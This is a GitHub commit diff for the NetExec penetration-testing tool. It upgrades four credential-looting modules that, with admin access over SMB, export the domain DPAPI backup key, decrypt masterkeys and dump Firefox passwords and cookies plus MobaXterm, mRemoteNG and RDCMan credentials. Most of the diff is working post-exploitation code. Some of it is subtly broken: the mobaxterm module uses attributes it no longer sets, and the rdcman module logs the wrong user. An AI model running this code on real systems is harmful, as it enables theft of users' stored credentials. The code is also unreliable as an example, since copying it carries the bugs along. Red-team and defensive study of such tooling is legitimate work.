Skip to content

Commit c9ce989

Browse files
authored
Merge pull request Pennyw0rth#491 from Pennyw0rth/dploot_upgrade
Upgrade dploot to 3.0.3
2 parents 4516401 + 52da03e commit c9ce989

13 files changed

Lines changed: 578 additions & 556 deletions

File tree

nxc/modules/firefox.py

Lines changed: 21 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
from dploot.lib.target import Target
2-
from nxc.protocols.smb.firefox import FirefoxTriage
2+
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
33

44

55
class NXCModule:
@@ -16,10 +16,11 @@ class NXCModule:
1616
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
1717

1818
def options(self, context, module_options):
19-
"""Dump credentials from Firefox"""
19+
"""COOKIES Get also Firefox cookies"""
20+
self.gather_cookies = "COOKIES" in module_options
2021

2122
def on_admin_login(self, context, connection):
22-
host = connection.hostname + "." + connection.domain
23+
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
2324
domain = connection.domain
2425
username = connection.username
2526
kerberos = connection.kerberos
@@ -41,19 +42,25 @@ def on_admin_login(self, context, connection):
4142
use_kcache=use_kcache,
4243
)
4344

45+
def firefox_callback(secret):
46+
if isinstance(secret, FirefoxData):
47+
url = secret.url + " -" if secret.url != "" else "-"
48+
context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
49+
context.db.add_dpapi_secrets(
50+
target.address,
51+
"FIREFOX",
52+
secret.winuser,
53+
secret.username,
54+
secret.password,
55+
secret.url,
56+
)
57+
elif isinstance(secret, FirefoxCookie):
58+
context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
59+
4460
try:
4561
# Collect Firefox stored secrets
46-
firefox_triage = FirefoxTriage(target=target, logger=context.log)
62+
firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
4763
firefox_triage.upgrade_connection(connection=connection.conn)
48-
firefox_credentials = firefox_triage.run()
49-
for credential in firefox_credentials:
50-
context.log.highlight(
51-
"[{}][FIREFOX] {} {}:{}".format(
52-
credential.winuser,
53-
credential.url + " -" if credential.url != "" else "-",
54-
credential.username,
55-
credential.password,
56-
)
57-
)
64+
firefox_triage.run(gather_cookies=self.gather_cookies)
5865
except Exception as e:
5966
context.log.debug(f"Error while looting firefox: {e}")

nxc/modules/mobaxterm.py

Lines changed: 23 additions & 89 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,8 @@
1-
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
2-
from dploot.triage.backupkey import BackupkeyTriage
31
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
42
from dploot.lib.target import Target
5-
from dploot.lib.smb import DPLootSMBConnection
63

74
from nxc.helpers.logger import highlight
5+
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
86

97

108
class NXCModule:
@@ -15,114 +13,50 @@ class NXCModule:
1513
multiple_hosts = True
1614

1715
def options(self, context, module_options):
18-
"""
19-
PVK Domain backup key file
20-
MKFILE File with masterkeys in form of {GUID}:SHA1
21-
"""
22-
self.pvkbytes = None
23-
self.masterkeys = None
24-
self.conn = None
25-
self.target = None
26-
27-
if "PVK" in module_options:
28-
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
29-
30-
if "MKFILE" in module_options:
31-
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
32-
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
16+
""" """
3317

3418
def on_admin_login(self, context, connection):
35-
host = connection.hostname + "." + connection.domain
36-
domain = connection.domain
3719
username = connection.username
38-
kerberos = connection.kerberos
39-
aesKey = connection.aesKey
40-
use_kcache = getattr(connection, "use_kcache", False)
4120
password = getattr(connection, "password", "")
42-
lmhash = getattr(connection, "lmhash", "")
4321
nthash = getattr(connection, "nthash", "")
4422

45-
if self.pvkbytes is None:
46-
try:
47-
dc = Target.create(
48-
domain=domain,
49-
username=username,
50-
password=password,
51-
target=domain,
52-
lmhash=lmhash,
53-
nthash=nthash,
54-
do_kerberos=kerberos,
55-
aesKey=aesKey,
56-
no_pass=True,
57-
use_kcache=use_kcache,
58-
)
59-
60-
dc_conn = DPLootSMBConnection(dc)
61-
dc_conn.connect()
23+
self.pvkbytes = get_domain_backup_key(connection)
6224

63-
if dc_conn.is_admin:
64-
context.log.success("User is Domain Administrator, exporting domain backupkey...")
65-
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
66-
backupkey = backupkey_triage.triage_backupkey()
67-
self.pvkbytes = backupkey.backupkey_v2
68-
except Exception as e:
69-
context.log.debug(f"Could not get domain backupkey: {e}")
70-
71-
self.target = Target.create(
72-
domain=domain,
25+
target = Target.create(
26+
domain=connection.domain,
7327
username=username,
7428
password=password,
75-
target=host,
76-
lmhash=lmhash,
29+
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
30+
lmhash=getattr(connection, "lmhash", ""),
7731
nthash=nthash,
78-
do_kerberos=kerberos,
79-
aesKey=aesKey,
32+
do_kerberos=connection.kerberos,
33+
aesKey=connection.aesKey,
8034
no_pass=True,
81-
use_kcache=use_kcache,
35+
use_kcache=getattr(connection, "use_kcache", False),
8236
)
83-
84-
try:
85-
self.conn = DPLootSMBConnection(self.target)
86-
self.conn.smb_session = connection.conn
87-
except Exception as e:
88-
context.log.debug(f"Could not upgrade connection: {e}")
37+
38+
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
39+
if conn is None:
40+
context.log.debug("Could not upgrade connection")
8941
return
9042

91-
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
92-
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
93-
if password != "":
94-
plaintexts[username] = password
95-
if nthash != "":
96-
nthashes[username] = nthash
97-
98-
if self.masterkeys is None:
99-
try:
100-
masterkeys_triage = MasterkeysTriage(
101-
target=self.target,
102-
conn=self.conn,
103-
pvkbytes=self.pvkbytes,
104-
passwords=plaintexts,
105-
nthashes=nthashes,
106-
dpapiSystem={},
107-
)
108-
self.masterkeys = masterkeys_triage.triage_masterkeys()
109-
except Exception as e:
110-
context.log.debug(f"Could not get masterkeys: {e}")
43+
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
11144

11245
if len(self.masterkeys) == 0:
11346
context.log.fail("No masterkeys looted")
11447
return
11548

11649
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
11750

51+
def mobaxterm_callback(credential):
52+
if isinstance(credential, MobaXtermCredential):
53+
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
54+
elif isinstance(credential, MobaXtermPassword):
55+
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
56+
context.log.highlight(f"[{credential.winuser}] {log_text}")
57+
11858
try:
11959
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
120-
_, credentials = triage.triage_mobaxterm()
121-
for credential in credentials:
122-
if isinstance(credential, MobaXtermCredential):
123-
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
124-
elif isinstance(credential, MobaXtermPassword):
125-
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
126-
context.log.highlight(f"[{credential.winuser}] {log_text}")
60+
triage.triage_mobaxterm()
12761
except Exception as e:
12862
context.log.debug(f"Could not loot MobaXterm secrets: {e}")

nxc/modules/mremoteng.py

Lines changed: 6 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,13 @@
11
import ntpath
2-
from dploot.lib.smb import DPLootSMBConnection
32
from dploot.lib.target import Target
43
from Cryptodome.Cipher import AES
54
from lxml import objectify
65
from base64 import b64decode
76
import hashlib
87
from dataclasses import dataclass
98

9+
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
10+
1011

1112
@dataclass
1213
class MRemoteNgEncryptionAttributes:
@@ -94,7 +95,10 @@ def on_admin_login(self, context, connection):
9495
use_kcache=use_kcache,
9596
)
9697

97-
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
98+
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
99+
if dploot_conn is None:
100+
context.log.debug("Could not upgrade connection")
101+
return
98102

99103
# 2. Dump users list
100104
users = self.get_users(dploot_conn)
@@ -116,14 +120,6 @@ def on_admin_login(self, context, connection):
116120
if content is not None:
117121
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
118122
self.handle_confCons_file(content)
119-
120-
def upgrade_connection(self, target: Target, connection=None):
121-
conn = DPLootSMBConnection(target)
122-
if connection is not None:
123-
conn.smb_session = connection
124-
else:
125-
conn.connect()
126-
return conn
127123

128124
def get_users(self, conn):
129125
users = []

nxc/modules/rdcman.py

Lines changed: 21 additions & 88 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,8 @@
1-
from dploot.triage.rdg import RDGTriage
2-
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
3-
from dploot.triage.backupkey import BackupkeyTriage
1+
from dploot.triage.rdg import RDGTriage, RDGServerProfile
42
from dploot.lib.target import Target
5-
from dploot.lib.smb import DPLootSMBConnection
63

74
from nxc.helpers.logger import highlight
5+
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
86

97

108
class NXCModule:
@@ -15,99 +13,34 @@ class NXCModule:
1513
multiple_hosts = True
1614

1715
def options(self, context, module_options):
18-
"""
19-
PVK Domain backup key file
20-
MKFILE File with masterkeys in form of {GUID}:SHA1
21-
"""
22-
self.pvkbytes = None
23-
self.masterkeys = None
24-
25-
if "PVK" in module_options:
26-
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
27-
28-
if "MKFILE" in module_options:
29-
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
30-
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
16+
""" """
3117

3218
def on_admin_login(self, context, connection):
33-
host = connection.hostname + "." + connection.domain
34-
domain = connection.domain
3519
username = connection.username
36-
kerberos = connection.kerberos
37-
aesKey = connection.aesKey
38-
use_kcache = getattr(connection, "use_kcache", False)
3920
password = getattr(connection, "password", "")
40-
lmhash = getattr(connection, "lmhash", "")
4121
nthash = getattr(connection, "nthash", "")
4222

43-
if self.pvkbytes is None:
44-
try:
45-
dc = Target.create(
46-
domain=domain,
47-
username=username,
48-
password=password,
49-
target=domain,
50-
lmhash=lmhash,
51-
nthash=nthash,
52-
do_kerberos=kerberos,
53-
aesKey=aesKey,
54-
no_pass=True,
55-
use_kcache=use_kcache,
56-
)
57-
58-
dc_conn = DPLootSMBConnection(dc)
59-
dc_conn.connect()
60-
61-
if dc_conn.is_admin:
62-
context.log.success("User is Domain Administrator, exporting domain backupkey...")
63-
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
64-
backupkey = backupkey_triage.triage_backupkey()
65-
self.pvkbytes = backupkey.backupkey_v2
66-
except Exception as e:
67-
context.log.debug(f"Could not get domain backupkey: {e}")
23+
self.pvkbytes = get_domain_backup_key(connection)
6824

6925
target = Target.create(
70-
domain=domain,
26+
domain=connection.domain,
7127
username=username,
7228
password=password,
73-
target=host,
74-
lmhash=lmhash,
29+
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
30+
lmhash=getattr(connection, "lmhash", ""),
7531
nthash=nthash,
76-
do_kerberos=kerberos,
77-
aesKey=aesKey,
32+
do_kerberos=connection.kerberos,
33+
aesKey=connection.aesKey,
7834
no_pass=True,
79-
use_kcache=use_kcache,
35+
use_kcache=getattr(connection, "use_kcache", False),
8036
)
81-
82-
conn = None
83-
84-
try:
85-
conn = DPLootSMBConnection(target)
86-
conn.smb_session = connection.conn
87-
except Exception as e:
88-
context.log.debug(f"Could not upgrade connection: {e}")
37+
38+
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
39+
if conn is None:
40+
context.log.debug("Could not upgrade connection")
8941
return
9042

91-
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
92-
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
93-
if password != "":
94-
plaintexts[username] = password
95-
if nthash != "":
96-
nthashes[username] = nthash
97-
98-
if self.masterkeys is None:
99-
try:
100-
masterkeys_triage = MasterkeysTriage(
101-
target=target,
102-
conn=conn,
103-
pvkbytes=self.pvkbytes,
104-
passwords=plaintexts,
105-
nthashes=nthashes,
106-
dpapiSystem={},
107-
)
108-
self.masterkeys = masterkeys_triage.triage_masterkeys()
109-
except Exception as e:
110-
context.log.debug(f"Could not get masterkeys: {e}")
43+
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
11144

11245
if len(self.masterkeys) == 0:
11346
context.log.fail("No masterkeys looted")
@@ -122,17 +55,17 @@ def on_admin_login(self, context, connection):
12255
if rdcman_file is None:
12356
continue
12457
for rdg_cred in rdcman_file.rdg_creds:
125-
if rdg_cred.type in ["cred", "logon", "server"]:
126-
log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
58+
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
59+
if isinstance(rdg_cred, RDGServerProfile):
60+
log_text = f"{rdg_cred.server_name} - {log_text}"
12761
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
128-
12962
for rdgfile in rdgfiles:
13063
if rdgfile is None:
13164
continue
13265
for rdg_cred in rdgfile.rdg_creds:
133-
log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
134-
if rdg_cred.type == "server":
66+
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
67+
if isinstance(rdg_cred, RDGServerProfile):
13568
log_text = f"{rdg_cred.server_name} - {log_text}"
136-
context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}")
69+
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
13770
except Exception as e:
13871
context.log.debug(f"Could not loot RDCMan secrets: {e}")

0 commit comments

Comments
 (0)